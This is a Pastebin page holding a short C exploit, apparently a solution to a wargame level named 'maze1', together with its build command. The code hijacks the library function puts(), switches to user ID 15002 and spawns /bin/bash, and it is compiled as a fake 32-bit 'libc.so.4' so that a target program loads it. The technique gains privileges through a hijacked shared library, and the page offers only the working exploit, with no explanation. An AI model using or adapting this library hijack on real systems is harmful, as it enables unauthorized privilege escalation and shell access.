Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1 #include <stdio.h>
- 2 #include <stdlib.h>
- 3 #include <sys/types.h>
- 4 #include <unistd.h>
- 5 int puts(const char *s) {
- 6
- 7 // printf("start shell \n\n");
- 8 setuid(15002);
- 9 setreuid(15002,15002);
- 10 system("/bin/bash");
- 11 }
- gcc -shared maze1.c -m32 -o libc.so.4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement